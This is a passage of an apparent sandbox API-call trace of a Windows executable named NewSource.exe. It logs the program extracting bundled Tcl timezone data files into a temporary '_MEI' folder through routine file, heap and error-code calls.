lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.607] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.607] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.607] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.607] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.607] CloseHandle (hObject=0x10c) returned 1 [0038.607] GetLastError () returned 0x0 [0038.607] SetLastError (dwErrCode=0x0) [0038.607] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.607] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.607] GetFileType (hFile=0x10c) returned 0x1 [0038.607] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.607] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.607] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.607] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.607] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.607] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.607] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.607] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.607] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.607] CloseHandle (hObject=0x10c) returned 1 [0038.608] GetLastError () returned 0x0 [0038.608] SetLastError (dwErrCode=0x0) [0038.608] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0038.608] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.608] GetFileType (hFile=0x10c) returned 0x1 [0038.608] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.608] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.608] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.608] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.608] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.608] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.608] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.608] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.608] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.608] CloseHandle (hObject=0x10c) returned 1 [0038.608] GetLastError () returned 0x0 [0038.608] SetLastError (dwErrCode=0x0) [0038.608] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Campo_Grande") returned 77 [0038.608] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Campo_Grande" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\campo_grande"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.608] GetLastError () returned 0x2 [0038.608] SetLastError (dwErrCode=0x2) [0038.608] GetLastError () returned 0x2 [0038.608] SetLastError (dwErrCode=0x2) [0038.608] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Campo_Grande", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Campo_Grande", lpFilePart=0x0) returned 0x4c [0038.609] GetLastError () returned 0x2 [0038.609] SetLastError (dwErrCode=0x2) [0038.609] GetLastError () returned 0x2 [0038.609] SetLastError (dwErrCode=0x2) [0038.609] GetLastError () returned 0x2 [0038.609] SetLastError (dwErrCode=0x2) [0038.609] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Campo_Grande") returned 77 [0038.609] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.609] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Campo_Grande" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\campo_grande"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.609] GetFileType (hFile=0x10c) returned 0x1 [0038.609] htonl (hostlong=0x621e0000) returned 0x1e62 [0038.609] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0038.612] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.612] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xe62, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xe62, lpOverlapped=0x0) returned 1 [0038.612] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.613] CloseHandle (hObject=0x10c) returned 1 [0038.613] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0038.614] htonl (hostlong=0x40000000) returned 0x40 [0038.614] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.614] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.614] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.614] GetFileType (hFile=0x10c) returned 0x1 [0038.614] htonl (hostlong=0xcdc15800) returned 0x58c1cd [0038.614] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5d71cd, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.614] htonl (hostlong=0x15050000) returned 0x515 [0038.614] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x515) returned 0x550600 [0038.614] htonl (hostlong=0x15050000) returned 0x515 [0038.614] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.615] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.615] htonl (hostlong=0x23190000) returned 0x1923 [0038.615] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1923) returned 0x561090 [0038.615] htonl (hostlong=0x15050000) returned 0x515 [0038.615] htonl (hostlong=0x23190000) returned 0x1923 [0038.615] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x5629c0 [0038.615] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5629c0 | out: hHeap=0x530000) returned 1 [0038.615] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.615] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.615] CloseHandle (hObject=0x10c) returned 1 [0038.616] GetLastError () returned 0x0 [0038.616] SetLastError (dwErrCode=0x0) [0038.616] GetLastError () returned 0x0 [0038.616] SetLastError (dwErrCode=0x0) [0038.616] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.616] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.616] GetFileType (hFile=0x10c) returned 0x1 [0038.616] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.616] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.616] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.616] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.616] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.616] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.616] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.616] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.616] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.616] CloseHandle (hObject=0x10c) returned 1 [0038.616] GetLastError () returned 0x0 [0038.616] SetLastError (dwErrCode=0x0) [0038.616] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.616] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.616] GetFileType (hFile=0x10c) returned 0x1 [0038.617] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.617] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.617] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.617] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.617] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.617] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.617] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.617] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.617] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.617] CloseHandle (hObject=0x10c) returned 1 [0038.617] GetLastError () returned 0x0 [0038.617] SetLastError (dwErrCode=0x0) [0038.617] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0038.617] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.617] GetFileType (hFile=0x10c) returned 0x1 [0038.617] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.617] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.617] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.617] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.617] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.617] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.617] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.617] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.617] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.617] CloseHandle (hObject=0x10c) returned 1 [0038.618] GetLastError () returned 0x0 [0038.618] SetLastError (dwErrCode=0x0) [0038.618] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Cancun") returned 71 [0038.618] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Cancun" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\cancun"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.618] GetLastError () returned 0x2 [0038.618] SetLastError (dwErrCode=0x2) [0038.618] GetLastError () returned 0x2 [0038.618] SetLastError (dwErrCode=0x2) [0038.618] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Cancun", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Cancun", lpFilePart=0x0) returned 0x46 [0038.618] GetLastError () returned 0x2 [0038.618] SetLastError (dwErrCode=0x2) [0038.618] GetLastError () returned 0x2 [0038.618] SetLastError (dwErrCode=0x2) [0038.618] GetLastError () returned 0x2 [0038.618] SetLastError (dwErrCode=0x2) [0038.618] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Cancun") returned 71 [0038.618] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.618] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Cancun" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\cancun"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.618] GetFileType (hFile=0x10c) returned 0x1 [0038.618] htonl (hostlong=0x23190000) returned 0x1923 [0038.618] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0038.619] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.619] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x923, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x923, lpOverlapped=0x0) returned 1 [0038.619] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.620] CloseHandle (hObject=0x10c) returned 1 [0038.620] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0038.621] htonl (hostlong=0x30000000) returned 0x30 [0038.621] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.621] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.621] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.621] GetFileType (hFile=0x10c) returned 0x1 [0038.621] htonl (hostlong=0xe2c65800) returned 0x58c6e2 [0038.621] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5d76e2, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.621] htonl (hostlong=0xab000000) returned 0xab [0038.621] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xab) returned 0x55cfe0 [0038.621] htonl (hostlong=0xab000000) returned 0xab [0038.621] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.622] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.622] htonl (hostlong=0xf0000000) returned 0xf0 [0038.622] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xf0) returned 0x550600 [0038.622] htonl (hostlong=0xab000000) returned 0xab [0038.622] htonl (hostlong=0xf0000000) returned 0xf0 [0038.622] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0038.622] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0038.622] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0038.622] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.622] CloseHandle (hObject=0x10c) returned 1 [0038.622] GetLastError () returned 0x0 [0038.622] SetLastError (dwErrCode=0x0) [0038.622] GetLastError () returned 0x0 [0038.622] SetLastError (dwErrCode=0x0) [0038.622] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.622] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.623] GetFileType (hFile=0x10c) returned 0x1 [0038.623] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.623] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.623] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.623] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.623] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.623] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.623] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.623] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.623] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.623] CloseHandle (hObject=0x10c) returned 1 [0038.623] GetLastError () returned 0x0 [0038.623] SetLastError (dwErrCode=0x0) [0038.623] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, 